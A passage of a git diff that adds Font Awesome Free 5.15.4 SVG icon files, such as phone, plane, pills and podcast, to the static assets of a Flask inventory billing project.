20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone.svg new file mode 100644 index 00000000..06fe1c82 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/photo-video.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/photo-video.svg new file mode 100644 index 00000000..7c501ba6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/photo-video.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/piggy-bank.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/piggy-bank.svg new file mode 100644 index 00000000..69e6afb8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/piggy-bank.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pills.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pills.svg new file mode 100644 index 00000000..7893f077 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pills.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pizza-slice.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pizza-slice.svg new file mode 100644 index 00000000..1e181d3e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pizza-slice.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/place-of-worship.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/place-of-worship.svg new file mode 100644 index 00000000..4ee4978c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/place-of-worship.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-arrival.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-arrival.svg new file mode 100644 index 00000000..5f0b96d3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-arrival.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-departure.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-departure.svg new file mode 100644 index 00000000..d5d8b702 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-departure.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-slash.svg new file mode 100644 index 00000000..5002ab04 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane.svg new file mode 100644 index 00000000..87812905 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plane.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/play-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/play-circle.svg new file mode 100644 index 00000000..0ce00853 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/play-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/play.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/play.svg new file mode 100644 index 00000000..e817cc8e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/play.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plug.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plug.svg new file mode 100644 index 00000000..12701eb7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plug.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus-circle.svg new file mode 100644 index 00000000..86d47f5f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus-square.svg new file mode 100644 index 00000000..f6b5dc7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus.svg new file mode 100644 index 00000000..74cf3932 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/podcast.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/podcast.svg new file mode 100644 index 00000000..362b753a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/podcast.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poll-h.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poll-h.svg new file mode 100644 index 00000000..2ada2120 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poll-h.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poll.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poll.svg new file mode 100644 index 00000000..82fb6c3e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poll.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poo-storm.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poo-storm.svg new file mode 100644 index 00000000..a2492965 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poo-storm.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poo.svg new file mode 100644 index 00000000..d9658997 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/poop.svg b/FLASK PROJECTS/Inventory Billing Management System using 